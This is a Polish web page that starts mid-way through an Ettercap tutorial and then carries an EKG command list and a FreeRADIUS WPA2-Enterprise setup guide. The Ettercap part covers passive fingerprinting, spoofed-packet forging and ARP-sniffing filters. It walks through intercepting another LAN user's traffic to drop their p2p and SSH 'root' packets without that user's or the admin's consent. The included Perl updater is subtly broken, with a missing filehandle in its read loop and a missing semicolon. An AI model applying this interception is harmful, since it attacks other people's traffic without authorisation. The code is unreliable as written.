w latwy sposob pozystac nawet zaszyfrowane informacje.

######################################
# 5. PASYWNA IDENTYFIKACJA KOMPUTEROW

Przed skutecznym atakiem na maszyne, dobrze jest wiedziec z jakiego systemu operacyjnego ona korzysta. Jedna z najpopularniejsza metod identyfikacji jest aktywny OS fingerprinting. Program uzywajacy tej metody wysyla roznego rodzaju zapytania do skanowanej maszyny, maszyna odpowiada lub nie, program skanujacy analizuje (porownuje ze swoja wbudowana baza danych na temat systemow) rodzaj odpowiedzi, czas po jakim odpowiedz zostala wyslana i na tej podstawie stara sie okreslic wersje oraz system operacyjny. Najpopularniejszym narzedziem, z rozbudowana baza i wieloma odmianami skanowania jest Nmap. Ten typ skanowania ma jedna pewna wade. Poniewaz dobrze skonfigurowany system operacyjny/firewall bedzie rejestrowal te zapytania, pozniej te informacje moga byc wykorzystane przeciwko atakujacemu, lub dac przynajmniej jakis trop administratorom. Dlatego zostala stworzona technika pasywnej identyfikacji systemow. Ma ona jedna wielka zalete, nie generuje ona zadnego ruchy, tym samym atakujacy pozostaje "niewidzialny". Technika ta posiada takze duza wade, mozna jej uzywac tylko w sieciach lokalnych. Pasywna identyfikacja rozni sie tym od aktywnej, ze nie wysyla zapytan do skanowanej maszyny. Program korzystajacy z tej techniki analizuje ruch w sieci i po tym stara sie okreslic rodzaje systemow jakie w niej wystepuja. Program musi "widziec" ruch, stad wynikaja ograniczenia tej techniki. Ettercap umozliwia wykorzsytanie pasywnej identyfikacji. Wystarczy ze nacisniemy "O" w glownym menu i program automatycznie zaczyna analizowac ruch. Wypisuje on wszystkie maszyny miedzy ktorymi dochodzi do komunikacji (z perspektywy sieci lokalnej do ktorej jestemy podlaczeni). Dodatkowo mozemy wybrac maszyne i enterem wyswietlic szczegoly jakie udalo sie o niej zebrac. Tymi szczegolami beda adres MAC karty (tylko maszyny w sieci lokalnej), odcisk palca systemu, jezeli zostal on zidentyfikowany, producent karty sieciowej, oraz dystans w HOP'ach, a takze, otwarte porty. Technika ta jest bardzo przydatna, gdy wpinamy sie do jakiejs sieci lokalnej i chcemy zebrac o niej jak najwiecej informacji w jak najcichszy sposob. Odradzam tego typu dzialanie, gdy interesuje nas konkretna maszyna (w takich przypadkach lepiej sprawdza sie nmap, lub wybieramy aktywny detekcje klawiszem (F) w glownym menu). Na koniec trzeba dodac, ze wersja v0.6.b jest juz dosc stara i bardzo czesto myli sie w identyfikacji, tak wiec trzeba podchodzi do wynikow jego pracy z dystansem. Napisalem skrypt w perlu, ktory sciaga najnowsze bazy odciskow (ale mimo to nie zauwazylem zanacznej poprawy w dzialaniu).

-- etter_updater.pl --

#!/usr/bin/perl
#Prosty skrypt uaktualniajacy baze fingerprintow systemow ettercapa
#Uaktualnienia:
#dla metody pasywnej: sciagniecie z nowej wersji v7.0rc1
#dla numerow mac: sciagniecie z nowej wersji v7.0rc1
#dla metody aktywej: przegrywa baze z lokalnej wersji nmapa (jezeli takowy jest zainstalowany)

use warnings;
use strict;

my $nmap_prefix="/usr/share";
my $etter_prefix="/usr/share";
my $user=`whoami`;
chomp($user);

if ( $user ne "root" )
{
print "[-] Only root can execute this script properly\n";
exit 1;
}

print "####################################\n";
print " Ettercap v0.6.b fingerprints updating script\n";
print"####################################\n\n"


#Uaktualnienie bazy odciskow dla pasywnej identyfikacji systemu

print "[~] Updating ettercap passive fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/etter.passive.os.fp")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp $etter_prefix/ettercap/etter.passive.os.fp_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/

ettercap_ng/share/etter.finger.os?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/etter.passive.os.fp");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/etter.passive.os.fp_old $etter_prefix/ettercap/etter.passive.os.fp");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

#Uaktualnienie bazy numerow kart mac

print "[~] Updating ettercap mac numbers data base\n";
if ( -e "$etter_prefix/ettercap/mac-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints $etter_prefix/ettercap/mac-fingerprints_old");
print "[~] Starting download latest version: ";
system("wget -q \'http://cvs.sourceforge.net/viewcvs.py/ettercap/

ettercap_ng/share/etter.finger.mac?rev=HEAD&content-type=text/plain\' -O $etter_prefix/ettercap/mac-fingerprints");
if ( $? eq 0 )
{
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/mac-fingerprints_old $etter_prefix/ettercap/mac-fingerprints");
}
}
else
{
print "[-] Can't find local mac numbers data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

#Uaktualnianie bazy odciskow dla aktywnej identyfikacji systemow

print "[~] Updating ettercap active fingerprints data base\n";
if ( -e "$etter_prefix/ettercap/nmap-os-fingerprints")
{
print "[+] Local data base found\n";
print "[~] Creating back-up file\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints $etter_prefix/ettercap/nmap-os-fingerprints_old");
print "[+] Trying to find nmap data base: ";
if ( -e "$nmap_prefix/nmap/nmap-os-fingerprints")
{
print "[ OK ]\n";
print "[~] Starting rewrite: ";
open INPUT, "<$nmap_prefix/nmap/nmap-os-fingerprints";
open OUTPUT, ">$etter_prefix/ettercap/nmap-os-fingerprints";
my $line;
while ($line=)
{
print OUTPUT "$line" if ( $line !~ /^Class/ );
}
close INPUT;
close OUTPUT;
print "[ OK ]\n";
}
else
{
print "[ FAIL ]\n";
print "[~] Restoring old data base\n";
system("mv -f $etter_prefix/ettercap/nmap-os-fingerprints_old $etter_prefix/ettercap/nmap-os-fingerprints");
}
}
else
{
print "[-] Can't find local passive fingerprints data base\n";
print "[?] Try to manual set \$etter_prefix variable\n";
}

-- etter_updater.pl --

##################
# 6. PACKET FORGE

Czym to wlasciwie jest? Dodatek do ettercapa pozwalajacy na dowolne tworzenie pakietow (tak jak w hping'u). Mamy do niego dostep z menu glownego oraz z ekranu sniffowania, przez nacisniecie klawisza (X). Mozemy praktycznie dowolnie ustawiac wszystkie dane naglowka pakietu poczawszy od MAC adresu kart sieciowych, rodzaju protokolu, czasu zycia, numeru portow, a skonczywszy na danych jakie ma zawierac ten pakiet. Oczywiscie dane o zrodle pakietu nie musza byc prawdziwe i mozemy wyslac go tak jak bysmy byli inna maszyna. Dzieki tym funkcjom mozemy szczegolowo sprawdzac konfiguracje firewall'a, dostajemy takze narzedzie dzieki, ktoremu w latwy sposob mozemy generowac pakiety, ktore moga przepelniac bufory roznych uslug.

############
# 7. FILTRY

Ettercap oferuje rowniez mozliwosc filtrowania pakietow. Podczas sniffingu ARP, mozemy wywolac okno filtrow (klawiszem (F)). Filtry sa prostym zbiorem regulek, przez ktore bedzie przeprowadzany kazdy pakiet, ktory przechwyci ettercap. Filtr moze sprawdzac protokol, porty, oraz zawartosc pakietow, jezeli przypozadkujemy ktorejs z tych wartosci 0 lub NULL, warunek dla tej wartosci bedzie zawsze spelniony. Dostepnymi akcjami, ktore beda podejmowane, gdy pakiet spelni wszystkie warunki danej regoly, sa DROP, REPLACE, LOG (odrzuc, zamien, zapisz). Oprocz tego mozemy tworzyc cale ciagi regul, dzieki polom "Goto if match" oraz "Goto if doesn't match". Wartosci pol okreslaja numer reguly, do ktorej filtr bedzie skakal, gdy zostanie przeprowadzony rachunek logiczny.
Posluze sie przykladem, aby pokazac zastosowanie dla tej funkcji. Bardzo czesto zdarza sie, ze ktorys w uzytkownikow w sieci lokalnej odkrywa magie p2p net'u, dzieki czemu skutecznie utrudnia on komunikacje innym komputerom. Mozemy skontaktowac sie z administratorem sieci, ale rownie czesto takie proby koncza sie tak samo jak prosba do niesfornego uzytkownika o wlaczenie ograniczen (brak odpowiedzi lub "nie wiem jak to zrobic"). Wtedy mozemy uzyc ettercapa, nie jest to rozwiazanie ostateczne, ale na ogol wystarcza. Przykladowa siecia p2p, ktora opisze bedzie edonkey2000. Wiem, ze na ogol komunikacja standardowa (pomiedzy zwyklymi, dwoma maszynami) odbywa sie na portach 4662, 4664, rozne serwery maja pootwierane rozne porty, ale po krotkim sledztwie stwierdzilem, ze te wieksze maja pootwierane porty 4661, 4242. Posiadajac ta wiedze, wchodzimy do ettercapa, ustawiamy ARP sniffing, pomiedzy komputerem "delikwenta", a gatewayem. Wchodzimy do menu filtrow, wybieramy filtr dotyczace (i tu zalezy od tego jaki kierunek sniffingu wybralismy, ja przyjmuje ze zrodlem jest "delikwent"), wchodzimy do edycji regul zrodla (W), kasujemy wszystkie standardowe klawiszem (D) i tworzymy po kolei nastepujace wyrazenie logiczne:
(dla tych ktorzy znaja skladnie regul tcpdumpa, ci ktorzy nie znaja, powinni sie zapoznac z manualem do tego programu)
((src port 4662) or (dst port 4662) or (dst port 4242) or (dst port 4661))
pakiety spelniajace ten warunek powinny byc odrzucane (DROP'owane). Tworzymy nastepujace reguly (aby dodac nowa (A)):
0. Protocol: TCP; Source port : 4221; Action: Drop; Goto if doesn't match : 1
1. Protocol: TCP; Dest port : 4662; Action: Drop; Goto if doesn't match : 2
2. Protocol: TCP; Dest port : 4242; Action: Drop; Goto if doesn't match : 3
3. Protocol: TCP; Dest port : 4661; Action: Drop;
i gotowe koles juz nie powinien przeciazac tak sieci. Wazne jest, aby ettercap mial wlaczone caly czas ten zestaw regul, klawisz (S) powinien je aktywowac. Akcje mozemy takze laczyc, na przyklad mozemy zablokowac dany pakiet i zapisac go w logu.
0. Protocol: TCP; Dest port : 22; Search : root; Action: Log; Goto if match : 1;
1. Protocol: TCP; Dest port : 22; Search : root; Action: Drop;
Powyzsze dwie reguly przeszukuja pakiet pod katem slowa kluczowego "root", gdy znajda zapisuja zaistnialy fakt do pliku, oraz odrzucaja pakiet, uniemozliwiajac w tym przypadku poprawne logowanie.

#################
# 8. ZAKONCZENIE

W tym artcie opisalem tylko mozliwosc uzycia trybu interaktywnego. Troche bardziej zaawansowanym uzytkownikom polecam przeczytanie manuala, w ktorym jest opisany tryb nieinteraktywny. Ma on pare zalet miedzy innymi pozwala na ARP sniffingu paru komputerow na raz.
Mam nadzieje ze ten artykul przyblizyl troche zastosowanie oraz funkcje ettercapa, a takze pokazal w jak prosty sposob w dzisiejszych czasach mozna przechwycic poufne informacje. Bez wzgledy na to czy sa zaszyfrowane czy jawne. A takze ze uswiadomi ludziom, ze kryptografia nie jest wymyslem fanatykow, z ktorej korzysta sie tylko na wojnach, ale powinna miec tez powszechne zastosowanie w internecie. Oprocz wprowadzenia samej kryptografii powinno sie tez uswiadamiac ludzi czym rozni sie np. firma VeriSign od VerySign, poniewaz nawet najsilnieszy szyfr nie bedzie w stanie zabezpieczyc transmisji przed glupota ludzka. Troche wyszlo jak jakis manifest, no ale coz... to moj pierwszy art i nie za bardzo wiedzialem co napisac.

Autor artykułu:
nagash

Artykuł pochodzi ze strony: http://www.t-nas.org/



KomputerNEWS

#czat_HAKER# __Bugtraq_PL__

Hacking Top

Hacking-Naj


Strona istnieje od: 22 września 2004r. Administrator TadeuszFantom
Kopiowanie, powielanie, publikowanie, modyfikowanie treśći ze strony jest wskazane a nawet mile widziane :)
Redakcja nie ponosi odpowiedzialności za teksty tu publikowane.





ukryj reklam�
zamknij
Darmowy hosting zapewnia PRV.pl: 7-seven, NULL, restauracjakfc, dbpfear, mikserfilmow
Dziel sie multimediami na Patrz.pl

poniedziałek, 14 marca 2011

EKG

/away zmienia stan na ,,zajęty''
/back zmienia stan na ,,dostępny''
/invisible zmienia stan na ,,niewidoczny''
/private ustawia tryb ,,tylko dla znajomych''

/quit

ALT+1, 2 - zmiana okien
/chat Sylwia - rozpoczęcie czatu
/list Sylwia - opis


/set aspell on - włacza sprawdzanie pisowni w interfersie ncureses. przy skąpliowaniu ekg z opcją --enable-aspell

/set contacts_options - zmienia ustawienia listy kontaktów
polecam ustawienie opcji
order=01234 - pokazuje kontakty w wszystkich stanach
frame - odziela ramką listę od głównego okna
wrap - zawija opisy
descr - pokazuje opisy

zmien kodowanie w konsoli na iso8859-2 lu bo prostu wylacz w ekg wyswietlanie polskich znakow komenda:

/set display_pl_chars 0




add [nazwa] - dodaje użytkownika do naszego rostera, jednocześnie prosząc o autoryzację
auth - obsługa autoryzacji
away[opis/-] - zmienia stan na zajęty
back[opis/-] - zmienia stan na dostępny
chat - wysyła wiadomość w ramach rozmowy
connect - łączy się z serwerem
del[nazwa] - usuwa z naszego rostera
disconnect [opis/-] - rozłącza się od serwera
dnd[opis/-] - zmienia stan na nie przeszkadzać
ffc[opis/-] - zmienia stan na chętny do rozmowy
invisible[opis/-] - zmienia stan na zajęty
modify - zmienia wpisy w liście kontaktów
msg - wysyła pojedynczą wiadomość
passwd - zmienia hasło
reconnect - rozłącza i łączy się ponownie
ver - pobiera informację o sytemie operacyjnym i wersji klienta Jabbera danego jid
xa[opis/-] - zmienia stan na bardzo zajęty
xml - wysyła polecenie xml
last [opcje] |* - wyświetla lub czyści ostatnie wiadomości
list [alias|@grupa|opcje|metakontakt|sesja/alias] - zarządzanie listą kontaktów
metacontact [opcje] - zarządzanie metakontaktami
on [opcje] - zarządzanie zdarzeniami
play - odtwarza plik dźwiękowy
plugin [-|+][nazwa] - ładuje lub usuwa rozszerzenie ekg
query [wiadomość] - włącza rozmowę
queue [opcje] - zarządzanie wiadomościami do wysłania po połączeniu
quit [powód/-] - wychodzi z programu
reload [plik] - wczytuje plik konfiguracyjny użytkownika lub podany
save [plik] - zapisuje ustawienia programu
say [tekst] - wymawia tekst
session [opcje] - zarządzanie sesjami
set [-] [[+/-]wartość] - wyświetla lub zmienia ustawienia
status [opcje] - wyświetla aktualny stan
tabclear [opcje] - czyści listę nicków do dopełnienia
timer [opcje] - zarządzanie timerami
unignore |* - usuwa z listy ignorowanych osób
version - wyświetla wersję programu
window [numer_okna] - zarządzanie oknami

niedziela, 13 marca 2011

Wifi + Radius

Zabezpieczanie sieci WLAN z serwerem Radius
Freeradius: indywidualne uwierzytelnianie w sieci Wi-Fi

W firmowej sieci WLAN proste uwierzytelnianie z wykorzystaniem wspólnego hasła i mechanizmu WPA-PSK nie jest wystarczającym zabezpieczeniem. Znane wielu osobom hasło szybko przestaje być tajemnicą i trzeba je zmieniać najpóźniej wtedy, gdy komukolwiek z zewnątrz pozwolono choćby tymczasowo podłączyć się do sieci.

Na szczęście administrator zaoszczędzi sporo czasu i wysiłku, korzystając z mechanizmu przydzielania haseł przez serwer. Do takich właśnie zadań służy mechanizm WPA Enterprise, w którym stacja bazowa WLAN komunikuje się z klientami z wykorzystaniem standardu IEEE 802.1x i serwera Radius. Do dyspozycji mamy jego otwartoźródłową implementację o nazwie Freeradius. W artykule opisujemy uruchamianie oprogramowania w systemie Ubuntu 10.10 oraz konfigurację klientów w różnych środowiskach.

Alternatywną metodą zabezpieczania struktury WLAN jest usługa Internet Authentication Service (IAS), którą oferują systemy Windows Server, począwszy od wersji 2003 (w tym także Windows Home Server) – ale nimi nie będziemy się zajmować. Jeśli natomiast chcielibyśmy uruchomić Radiusa w innych odmianach Windows, w grę wchodzą niemal wyłącznie serwery komercyjne. Na liście okienkowych wariantów Radiusa widnieje wprawdzie Tekradius, lecz wymaga on zastosowania bazy MS SQL Server, a więc nie jest do końca darmowy.

Moduł konfiguracyjny routera
Niedrogie routery WLAN także mogą służyć za serwer Radius Powiększ W tej sytuacji, pomijając windowsową edycję Freeradiusa, nie dysponujemy innym darmowym i nadającym się do użytku serwerem. Niestety, w przypadku wersji dla Windows Freeradius zatrzymał się dawno temu na wydaniu 1.1.7 i w związku z tym nie będziemy go brać pod uwagę. Jeśli mimo to ktoś chciałby koniecznie zainstalować serwer Radius w systemie Windows XP lub Windows 7, najprostszym rozwiązaniem będzie zastosowanie maszyny wirtualnej z Linuksem.

Nawet jeśli w sieci nie działa żaden serwer, zastosowanie Radiusa nie musi stanowić problemu – niektóre routery lub stacje bazowe (punkty dostępowe) same zawierają proste implementacje Radiusa. Nawet niedrogie routery WLAN, wyposażane w alternatywny firmware (np. DD-WRT), mogą funkcjonować jako serwery.

Bezpieczne logowanie

Freeradius szybko wyrósł z prostych metod uwierzytelniania, w których nazwa użytkownika i hasło są przekazywane otwartym tekstem. Obecnie oprogramowanie posługuje się protokołem EAP (Extensible Authentication Protocol), pozwalającym stosować różne metody kryptograficznego zabezpieczania transmisji (EAP-TLS/TTLS, PEAP, LEAP), a także haseł jednorazowych oraz SIM-ów. Uwierzytelnianie odbywa się przy użyciu kombinacji nazwy użytkownika i hasła lub za pomocą certyfikatu.

Dane dostępowe są przechowywane na serwerze Radius w prostym pliku tekstowym lub w bazie danych (LDAP, SQL). W przypadku małych sieci – z maksymalnie kilkudziesięcioma użytkownikami, tak jak w naszym przykładzie – plik tekstowy w zupełności wystarcza.

Aby dane logowania nie były transmitowane otwartym tekstem między stacją bazową a serwerem Radius, poddawane są szyfrowaniu. Wymaga się przy tym, aby na kliencie zainstalowany był przynajmniej certyfikat główny (Root CA Certificate), na bazie którego utworzono certyfikat serwera Radius. Dzięki certyfikatowi głównemu klient sprawdza, czy uwierzytelnia na właściwym serwerze.

Radius
Autentykator (punkt dostępowy WLAN lub przełącznik sieciowy obsługujący standard 802.1x) przekazuje żądanie zalogowania do serwera uwierzytelniającego. Ten decyduje, czy wnioskodawca (suplikant) otrzyma prawo wejśćia do sieci Powiększ W charakterze pośredników (autentykatorów) między klientem (określanym również mianem suplikanta) a serwerem Radius działa jedna lub wiele stacji bazowych WLAN. Te ostatnie muszą obsługiwać metodę uwierzytelniania WPA2 Enterprise, czasami określaną także jako WPA2-1x lub WPA2/802.1x. Do wypróbowania naszego serwera Radius skorzystaliśmy z routera TP-Link WR1043ND, ale standard 802.1x jest obsługiwany również przez wiele innych urządzeń.

Stacje bazowe muszą zostać skonfigurowane do poziomu zabezpieczeń WPA2 Enterprise – podaje się przy tym adres IP serwera Radius i wprowadza wspólne hasło (shared secret), które zabezpiecza komunikację między serwerem a punktem dostępowym.

Konfiguracja Freeradiusa

W Ubuntu, począwszy od wersji 10.04, serwer Freeradius da się zainstalować za pomocą narzędzia do zarządzania pakietami. Pliki konfiguracyjne znajdują się w katalogu /etc/freeradius, a katalog z certyfikatami (/etc/freeradius/certs) jest na początku pusty. Należy tam skopiować pięć zbiorów z folderu /usr/share/doc/freeradius/examples/certs: ca.cnf, server.cnf, client.cnf, xpextensions i makefile. Dziennik (log) jest przechowywany w folderze /var/log/freeradius.

Na początku trzeba odpowiednio zmodyfikować pliki konfiguracyjne i utworzyć certyfikaty. Zaczynamy od zdefiniowania użytkowników (/etc/freeradius/users):

"rodzice" Cleartext-Password := "dostepstaly"

"dzieci" Cleartext-Password := "dostepsporadyczny",

Login-Time :="Wk0800-2000,Sa0800-2200,Su0800-2000"

"gosc" Cleartext-Password := "dostepokazjonalny", Login-Time := "Al0700-2300"

"Jan Kowalski" Auth-Type := Reject, Reply-Message = "nie zyje!"

Parametr Login-Time ogranicza możliwość logowania do określonych godzin

Nazwy użytkowników powinno się ująć w cudzysłów, tak aby problemów nie sprawiały ewentualne puste znaki. Należy ponadto unikać znaków diakrytycznych i specjalnych w loginach i hasłach, gdyż czasami programy klienckie różnie je interpretują i w rezultacie może nastąpić problem z połączeniem mimo pozornie poprawnego wprowadzenia danych. Freeradius odczytuje kropkę w nazwie użytkownika jako prefiks określający wybrany typ usługi – wartość "radtest.ppp" oznacza, że pożądane jest połączenie PPP – stosowania kropek lepiej więc się wystrzegać.

Parametr Login-Time uniemożliwia zalogowanie się do sieci poza podanymi godzinami. Jednak nie powoduje on automatycznego wylogowania – musi o to zadbać punkt dostępowy poprzez regularne uwierzytelnianie (np. w cyklu piętnastominutowym). Przedziały czasowe są definiowane za pomocą angielskojęzycznych skrótów nazw dni tygodnia (np. Tu dla wtorku; dodatkowo mamy skrót Al – wszystkie dni tygodnia i Wk – dni robocze) oraz terminu z dokładnością do jednej minuty (hhmm-hhmm).
Serwer Radius musi wiedzieć, z jakimi pośrednikami ma się komunikować i znać wspóldzielony klucz (shared secret). Informacje te należy wprowadzić do pliku clients.conf:

client 192.168.111.8/29 {

secret = radiustest123

shortname = AP-w-sieci-testowej

}

W przykładzie wyżej demon radiusd oczekuje na zapytania z podsieci 192.168.111.8 do .15. W sytuacji gdy obsługiwana jest tylko jedna stacja bazowa WLAN ze stałym adresem IP, ten ostatni może być wpisany bezpośrednio z dodatkowym sufiksem /32.

Generowanie certyfikatów

Do tworzenia certyfikatu głównego i wywodzącego się z niego certyfikatu serwera służą przykładowe pliki i skrypt Make. Dysponując prawami administratora, przechodzimy do katalogu /etc/freeradius/certs. Najpierw modyfikujemy plik konfiguracyjny ca.cnf: parametr default_days w sekcji [CA_default] ustawiamy na 1826 (dni), aby odnowienie i dystrybucja certyfikatu przypadła najwcześniej po pięciu latach. W sekcji [req] definiujemy hasła.

Aby łatwiej odnaleźć własny certyfikat główny w systemie operacyjnym klienta, zmieniamy także wpisy w sekcji [certificate_authority]. Te same poprawki wprowadzamy w pliku konfiguracyjnym server.cnf:

[CA_default]

default_days = 1826

[req]

input_password = radiustest123

output_password = radiustest123

[certificate_authority]

countryName = PL

stateOrProvinceName = Testowy-serwer-Radius

localityName = Wroclaw

organizationName = heise online Polska

emailAddress = redakcja@heise-online.pl

commonName = "Testowy serwer Radius"

Sekcje i parametry w pliku /etc/freeradius/certs służące do automatycznego tworzenia certyfikatów. Sześciowierszowy blok poniżej linii [certificate_authority] skopiujemy do pliku server.cnf pod znacznikiem [server]

Teraz tworzymy certyfikat główny i serwerowy oraz klucze serwerowe. Służy do tego komenda make all.

Aby serwer Radius w czasie startu odczytał klucz serwerowy, wpisujemy hasło zdefiniowane w zbiorze ca.cnf także do pliku /etc/freeradius/eap.conf jako wartość parametru private_key_password. Następnie kopiujemy certyfikat główny ca.der z katalogu /etc/freeradius/certs na pendrive'a USB, aby zainstalować go na klientach serwera Radius.

Podczas instalacji Freeradius jest aktywowany jako usługa, dzięki czemu po kolejnym starcie systemu uruchamia się automatycznie. Gdy chcemy wystartować od razu, należy wydać polecenie sudo /etc/init.d/freeradius start.

Starsze wersje i inne systemy

W należących do repozytoriów Ubuntu wydaniach Freeradiusa wcześniejszych niż 2.1.8 brakuje istotnego komponentu: nie da się zrealizować bezpiecznego uwierzytelniania za pomocą metod kryptograficznych, ponieważ pakiet został skompilowany bez obsługi OpenSSL. Pełny Freeradius może być jednak zbudowany i zainstalowany samodzielnie.

Na początku zakładamy podkatalog do budowania serwera (mkdir build; cd build). Następnie pobieramy pakiet z kodem źródłowym Freeradiusa; przyjmijmy, że jest nim stara wersja 2.1.8. Później wydajemy kilka poleceń i czekamy około kwadransa na końcowy rezultat:

sudo apt-get install fakeroot dpkg-dev libssl-dev quilt autotools-dev libtool \

libltdl3-dev libpam0g-dev libmysqlclient-dev libgdbm-dev libldap2-dev \

libsasl2-dev libiodbc2-dev libkrb5-dev libperl-dev libpcap-dev python-dev \

libsnmp-dev libpq-dev debhelper

tar zxf freeradius-server-2.1.8.tar.gz

cd freeradius-server-2.1.8

fakeroot dpkg-buildpackage -b -uc

cd ..

sudo dpkg -i libfreeradius2_2.1.8+git_i386.deb freeradius-common_2.1.8+git_all.deb \

freeradius_2.1.8+git_i386.deb freeradius-utils_2.1.8+git_i386.deb

Pierwsze polecenie instaluje pakiety konieczne do zbudowania aplikacji. Podczas kompilacji (z wykorzystaniem komendy fakeroot) wszystkie pliki binarne .deb trafiają do katalogu nadrzędnego. Ostatnia komenda sudo instaluje serwer Freeradius oraz narzędzia administracyjne (utils).

Po instalacji katalog z certyfikatami (/etc/freeradius/certs) jest pusty. Kopiujemy tam zawartość folderu ~/build/freeradius-server-2.1.8/raddb/certs. Następnie edytujemy pliki ca.cnf oraz server.cnf w katalogu /etc/freeradius/certs i tworzymy certyfikaty w sposób opisany wyżej.

Strony wiki projektu Freeradius wyjaśniają, jak zbudować pakiety w innych systemach operacyjnych (Red Hat, openSUSE, Mac OS X, Solaris). Zazwyczaj potrzebne są wówczas pliki freeradius-server oraz make, ułatwiające generowanie certyfikatów. Trzeba pamiętać, że Freeradius ma wtedy inny układ folderów: pliki konfiguracyjne są umieszczone w katalogu /etc/raddb, a dziennik – w /var/log/radius. Certyfikaty znajdziemy w folderze /etc/raddb/certs.

Konfiguracja klientów WLAN

Certyfikat w Windows XP
Importowanie certyfikatu w Windows XP Powiększ Logowanie w sieci WLAN zabezpieczonej przez serwer Radius przebiega w sposób nieco odmienny od tego, do jakiego większość użytkowników jest przyzwyczajona. Zamiast wspólnego hasła WPA stosuje się przechowywaną na serwerze kombinację nazwy użytkownika i hasła.

W Windows XP jeszcze przed pierwszym logowaniem importujemy certyfikat główny (np. z pendrive'a USB). Po podwójnym kliknięciu pliku ca.der naciskamy przycisk Zainstaluj certyfikat. Następnie do skutku klikamy przycisk Dalej. Pojawi się okienko z pytaniem, czy na pewno chcemy zainstalować certyfikat – odpowiadamy twierdząco, a Windows XP wybiera prawidłową lokalizację (Zaufane główne urzędy certyfikacji).

Teraz konfigurujemy parametry łącza. W menu Start wywołujemy opcję Połącz z | Połączenie z siecią bezprzewodową, wybieramy ustawienia zaawansowane, a po kliknięciu zakładki Sieci bezprzewodowe podajemy nazwę sieci radiowej i wybieramy odpowiednią metodę szyfrowania, najlepiej WPA2/AES.

W sekcji Uwierzytelnianie wybieramy Chroniony protokół EAP (PEAP), w jego ustawieniach wskazujemy certyfikat główny i wyłączamy opcję pytania użytkownika o autoryzowanie nowych serwerów. Następnie określamy metodę uwierzytelniania EAP-MSCHAPv2: wyłączamy automatyczne korzystanie z danych logowania do systemu Windows.

Kreator sieci w Windows XP
Kreator sieci w Windows XP Powiększ

Import certyfikatu w Windows 7
Aby Windows 7 zapisał certyfikat główny w sekcji Zaufanych głównych urzędów certyfikacji, trzeba mu trochę pomóc Powiększ Nieco inaczej sprawa wygląda w przypadku Windows 7. Tutaj musimy ręcznie wskazać Zaufane główne urzędy certyfikacji jako lokalizację dla naszego certyfikatu. Robimy to po rozwinięciu menu Start, wpisaniu w polu Wyszukaj programy i pliki komendy certmgr.msc i naciśnięciu klawisza [Enter].

Następnie konfigurujemy połączenie WLAN – należy wybrać typ zabezpieczeń WPA2-Enterprise. Później zmieniamy ustawienia zabezpieczeń: domyślnie ustawiona metoda Microsoft: Chroniony protokół EAP (PEAP) jest odpowiednia, ale musimy kliknąć przycisk Ustawienia. Teraz zaznaczamy zaimportowany certyfikat na liście zaufanych urzędów certyfikacji i wyłączamy monitowanie użytkownika o autoryzację nowych serwerów.

Urząd certyfikacji w Windows 7
Samodzielnie podana nazwa wspólna (commonName) ułatwia odnalezienie certyfikatu głównego w programie administracyjnym Windows 7 (certmgr.msc) Powiększ W przypadku metody uwierzytelniania poprzez zabezpieczone hasło (EAP-MSCHAPv2) wyłączamy automatyczne przekazywanie danych logowania do Windows. Po naciśnięciu przycisku OK wybieramy ustawienia zaawansowane i tryb Uwierzytelnianie użytkownika.

W Ubuntu konfigurowanie sieci WLAN zabezpieczonej serwerem Radius jest bardzo łatwe. Kopiujemy certyfikat główny ca.der z pendrive'a USB do katalogu domowego. Następnie wybieramy sieć bezprzewodową, klikając ikonę sieci w zasobniku systemowym, wskazujemy certyfikat CA, wprowadzamy nazwę użytkownika oraz hasło – i gotowe

Smartfony i poszukiwanie błędów

Konfigurator WLAN w Nokii N97
Konfigurowanie parametrów łącza dla aparatów Nokii (tutaj model N97) jest dość męczące Powiększ Niewielkim nakładem sił udało się nam także skonfigurować trzy smartfony do nawiązywania połączeń z siecią WLAN chronioną przez serwer Radius. Apple'owski iPhone bez problemu włączył się w strukturę Wi-Fi po włączeniu opcji automatycznego wyboru metody uwierzytelniania – trzeba było jedynie potwierdzić certyfikat pobrany z serwera. Także działający pod kontrolą systemu Android 2.1 telefon HTC Sense skomunikował się przy domyślnym ustawieniem PEAP/MSCHAPv2.

W przypadku Nokii E51 przy próbie nawiązania połączenia z siecią chronioną serwerem Radius moduł obsługujący komunikację bezprzewodową bez przerwy pytał o hasło WPA. Konieczne było przedzieranie się przez prawdziwy gąszcz opcji menu: Narzędzia | Ustawienia | Połączenie| Punkty dostępu | Opcje | Nowy punkt dostępu. Później podawaliśmy parametry Nazwa połączenia (Radius-test), Nośnik danych (WLAN), Nazwa sieci WLAN (Radius-test), Tryb zabezpieczeń WLAN (802.1x). W sekcji Ustawienia zabezpieczeń WLAN wybraliśmy Ustawienia EAP plug-in (EAP-LEAP) i wreszcie po wejściu w opcję EAP-LEAP wpisaliśmy nazwę użytkownika oraz hasło. Po dokonaniu takich operacji udało się nawiązać połączenie z siecią zabezpieczoną serwerem Radius.

Logi Freeradiusa
Plik logów serwera Freeradius daje wskazówki na temat nieudanych prób nawiązania połączenia Powiększ Wraz z Freeradiusem otrzymujemy narzędzie radsniff. Prezentuje ono pakiety wymieniane w eterze, jeśli podamy współdzielone hasło (shared secret): radsniff -s radiustest123. Program pozwala określić, czy komunikacja między suplikantem a serwerem Radius w ogóle się odbywa, a także która strona odrzuciła połączenie.

Aby sprawdzić, czy nieudana próba logowania jest wynikiem literówki w nazwie użytkownika, można zapisywać dane z prób nawiązywania połączeń do pliku dziennika. Wystarczy zastąpić linię auth = no (w sekcji log{} pliku konfiguracyjnego radiusd.conf) wierszem auth = yes. Następnie trzeba zrestartować serwer Radius.

Dodatkowa Lektura - IEEE-802-1X

